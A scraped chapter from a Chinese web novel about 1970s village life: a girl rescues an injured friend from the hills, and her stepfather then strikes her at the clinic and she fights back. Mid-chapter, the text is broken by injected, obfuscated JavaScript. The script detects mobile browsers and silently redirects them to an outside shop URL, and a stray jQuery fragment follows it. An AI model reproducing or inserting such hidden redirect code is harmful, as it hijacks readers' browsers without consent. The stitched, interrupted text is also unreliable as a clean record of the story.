3. 山脚救人
作品:《七零我靠卖鱼发家致富》 再说回姜芷,她去了趟供销社。
第一次靠自己赚到钱,她有心给家里带点东西回去,奈何这年头物资紧俏,买啥都要票。
她只好称了些不要票的水果糖,一分一颗,买回去泡水喝也是好的。
姜芷提着糖,还不忘从装钱的小口袋里抽出一张给姜宁汐:“这一块你应得的,小心收好可别弄丢了。”
姜宁汐连忙摆手:“姐这我不能要,鱼是你抓的,我又没出力。”
“给你就收着,想买啥就买啥别委屈自己。”姜芷塞她手里。
这附近只有一所学校,几个村里的小孩不管有钱没钱全都挤在一个学校上课,她以前那会可没少羡慕同桌有零食吃。
怕她不好意思,姜芷又说:“咱俩这算搭伙合作,我出力出鱼,你出渠道,要是不好意思多帮姐留意留意你那些同学谁家要鱼就是了。”
姜宁汐盯着手里的毛票没忍住红了眼,抹了把眼泪有些不好意思的抱住她的腰。这年头一分一毛都来之不易,家里都这么穷了,她姐居然还念着她。
这还是一块钱,整整一块钱巨款啊!
她脑袋窝在姐姐胸前,瓮声瓮气:“姐你人真好,我下辈子还要做你妹!”
姜芷失笑:“这就好了?可别是谁给你钱谁就好了。”
“哎呀姐!”
“好好好我错了我错了。”
知道下午还要下雨,两人没敢多留,赶在雨前回了家。
难得下雨天,大队给大伙都放了一天假,姜芷惦记着温梅,抓了把糖去找。推开院门就见她妈,妇女主任陈飞燕在屋里纳鞋底。
她塞给人几颗糖问温梅在哪。
“追鸡去了。”
哈?
陈飞燕提到这就来气:“喊那死丫头给我劈柴,她倒好,给我鸡圈都劈坏了,我辛苦养的三只鸡全给她放跑了!”
虽然鸡圈已经修好勉强能用,可有只鸡却迟迟没找到,陈飞燕气急了,罚她找不到不准回家吃饭。
姜芷望着屋外已经开始下起的小雨,感觉有些不太对。
他们村不大,绕一圈用不了多久,距离鸡跑已经过了快一个小时,这鸡就算能飞再难抓也该抓到了。
想到某个可能,她脸色瞬间变白,也来不及多说就往后山奔。
后山偏僻,和村子中间隔着蜈蚣河,非必要一般没人会往山里跑。
姜芷步伐飞快,边找边喊,却迟迟没在后山找到温梅。
出来的急,她没带伞,这会衣服头发已经被雨打湿,一同冷下来的还有她的心。
她懊恼自己想得太简单了,以为只要提醒一句,事情就不会像前世发展,只是人算不如天算,她上辈子可没听过温家有鸡跑了的事。
于她而言,温梅不只是同村的好友,更是一次实验,如果温梅没死,就意味着未来是可以改变的,可如果她死了……
姜芷不敢想,脚步加快一头冲进雨里。终于在她找到另一座山山脚下时,呼喊得到了回应。
“…我,我在这。”
那声音听着微弱,从两块巨石的夹缝中传出,姜芷半点不敢耽搁。
那一块周围碎石众多,温梅蜷缩在巨石下,脸色惨白,一只手捂着后脑勺上的伤口,另一只手死死抱着一只鸡。
因着伤口在脑袋上,她是躺也不敢躺坐也不敢坐,怕手里的鸡跑了,更不敢晕过去。
以至于姜芷见着她就是一副把鸡当宝贝一样抱在怀里的奇葩模样,一时竟不知该从何开始吐槽。
“你这是在……演鸡妈妈?”
温梅都快哭了,她也没想到自己居然能这么倒霉!
下雨不能进山就算了,劈柴劈坏鸡圈就算了,挖不了野菜、鸡跑了这些她都不不在乎。
可为什么,为什么偏偏要在她好不容易抓到最后一只鸡的时候,突然从上下掉石头,正正好好砸她脑袋上啊!!
要不是她反应快,带着鸡躲到巨石夹缝里,她就要被外面这一地碎石砸死了。
至于这只鸡?
温梅抹了把眼泪,委屈巴巴:“鸡不可失啊!这可都是我妈的宝贝命根子,比我还值钱,丢了她能打死我!”
姜芷嘴角抽搐,一时竟不知该如何评价。
随着雨势减小,温梅头上的伤口流血变少,但脸色也越来越白。
她来不及去喊人,直接蹲下身背起一人一鸡往回跑。
温梅一时有些不好意思,但更多的却是惶恐。她没想过姜芷会来找自己,明明以前这人就很少搭理她。
姜芷长得好看,皮肤又白。
班里不少人乐意和她一起玩,但她谁也不搭理,总是一个人独来独往,就连她自己,也不过是因为话痨才能和人搭上几句。
她一直以为这段关系是她死缠烂打求来的,以至于在石头下听见姜芷的声音的时候,差点没吓死,以为这是自己快要死了才出现的幻觉。
温梅迷迷糊糊只觉得,姜芷好像光啊,只不过以前是月亮光,远远的、凉凉的,碰不到也看不到,现在变成了太阳,像她之前躲在地里躺在草垛上睡觉的时候,晒得她好暖和。
想着想着她就要睡过去,屁股突然被什么东西刺了一下,尖尖的,吓得她瞬间清醒,以为被蛇咬了。
“别睡,马上就到了。”
原来是姜芷捡了根树枝戳她的屁股,怕她晕过去又连戳了好几下。
温梅脸都红了,她收回先前的话,她算哪门子的光!
姜芷跑到村口后体力不支,险些倒下。
万幸这附近有人居住,几个婶子被她喊出来,见着温梅身上的血吓一跳,手忙脚乱的要把两人送去卫生站。
一群人前脚刚走。
后脚,周万光怒气冲冲的回村准备找他的好继女算账,同时听见有人八卦,说的是温家的小女儿浑身是血的被姜芷带了回来。
有人说是两人去田里偷东西被人发现给打了,还有说是被狗咬了,更有甚者说是姜芷早就看不惯那姓温的,故意打的。
这些人看不惯姜芷,准确来说他们是看不惯叶翠兰:觉得她一个女人干嘛那么努力,把自己搞得跟拼命三娘似的显得别人好像什么都不做一样。
男人嫌她比自己还拼,女人厌她不会偷奸耍滑,而姜芷慢热话少的性格也不讨喜。
故而谈论起姜家的八卦时总是格外讥讽。
八卦嘛,总是夸张又狗血的。
大家都不过是凑个热闹,随意猜测,但架不住有人真信了。
周万光听的眼皮直跳,倒霉了这么多天了难得听见一个好消息,嘴角压都压不下去。
好啊,总算是被他逮到了!
为了抓那个在背后算计他的孙子,他这些天里几个牌局到处跑。
他特意买了包高档烟,见着人就上去赔笑,居然还真让他从一个看门的那打探到点消息。
“姜芷——竟然是她!”
周万光咬牙切齿,任谁突然知道一直在背后算计自己的居然是自己的继女这会都不会好受。
他甚至从来没怀疑过她,真以为她老实又胆小。这会回过头再看,什么醉鬼撒钱,分明就是被她偷了!
亏他还真把她当成了自己女儿,结果也是个狼心狗肺的。
眼下正正好好,连借口都不用找了,看他这个当爹的怎么教训她!
想罢,周万光脚步一转就朝卫生站去。
——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469991|201426||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温梅伤得严重被推进检查室重点检查,姜芷则被护士带去了另一个小房间上药水——她摔在地上,两个膝盖都有不小的擦伤。
这会走一步都扯着伤口疼得龇牙咧嘴,以至于那人冲上来的时候,姜芷根本来不及躲。
“啪——”
她粉白的皮肤瞬间红肿,那人还想动手,但这一次他没得逞手腕被死死钳住。
“你还敢躲!”周万光暴怒,“我看你是反了你!”
“我在家说没说过别惹事别惹事,你倒好,直接把人打进卫生站了!”
两人的争执引来不少人注意,都在看热闹。
因他的话,大伙都以为这是在教训自家叛逆孩子,这种人,是该打!
周万光下手是一点没收着,打得就是在外人面前她不敢反抗的主意,然而姜芷却半点不忍。反手一转摆脱控制,同时蓄力一脚猛踹,周万光瞬间痛呼倒地。
旁边的婶子率先不平:“这丫头也忒没教养了,连自己爹都打,果然不是什么好东西!”
围观众人也是满脸气愤。
当爹的教训孩子是天经地义,可孩子怎么能反过来打爹呢?
周万光虽然痛得龇牙咧嘴,可心里偷笑。
叫她敢算计自己,这就是后果!
他当然不可能直说自己被算计的事,一是他要脸,二也怕其他人知道自己打牌。脸上摆出一副义愤填膺:“畜生啊,果然不是亲生的就是养不熟!”
“你打我认了,算我倒霉,可别人家的女儿招你惹你了,你要把人打得浑身是血?!”
对上他眼底的愤恨,姜芷瞬间明白对方这是知道自己干的事了。
周万光连出事的是谁都不知道,只说是别人家的女儿,要真在意早把这事打听清楚了,再说他自私自利的性格,又怎么可能真替别人出头。
但就算知道了,他又能拿她怎样?
此刻姜芷半点不慌,面对众人指责,干脆将计就计,真做出一副叛逆少女顶嘴违抗长辈的样子:“我这样可还不都是跟您学的。”
“放屁!我什么时候教过你打人。”
少女反讽:“是啊,您是没教过,您根本连管都没管过我,现在凭什么打我?”
“凭什么,凭我是你爹!”
“我爹?”少女脸上带着讥笑。
“我妈在外耕地种稻挖水渠,每天从早到晚累得跟狗一样,那个时候你在哪?
小弟五岁的时候发高烧喊你照顾他,结果你喝了酒跑出去,留他一个人差点烧成傻子,那个时候你在哪?
二妹在镇上给人跑腿,为了赚钱山里河里到处跑,那个时候你怎么不说你是我们爹?”
周万光错愕没想到她会提这茬,眼见周围人脸色变了,他赶紧解释:
“你妈可是二婚!”
“带着你们三个三张嘴,这年头谁不吃苦,我让你们有吃有喝有地住,你还想怎样?”
言外之意就是在警告她现在住的可是他的房子,再乱说小心把她们都赶出去!
真是不要脸!姜芷气得咬牙。
她亲爹是个家暴男,在她妈怀着小弟那年,喝了酒耍酒疯在村子的井旁摔死了。
她奶奶把她们家三人都赶了出去,收回房子给了小儿子娶妻。
当时她们过得多惨啊,为了活下去,她妈只能带着她们嫁给周万光这个远近闻名的懒汉,只因为他有房。
怕她再开口乱说,周万光上手抓她头发要把人扯回家。
混乱中姜芷猛地撞开一间病房,屋里先前送她们过来、正在照看温梅的婶子被惊动,见状立马冲上去拦:
“周万光你疯了!你要把孩子打死不成?”

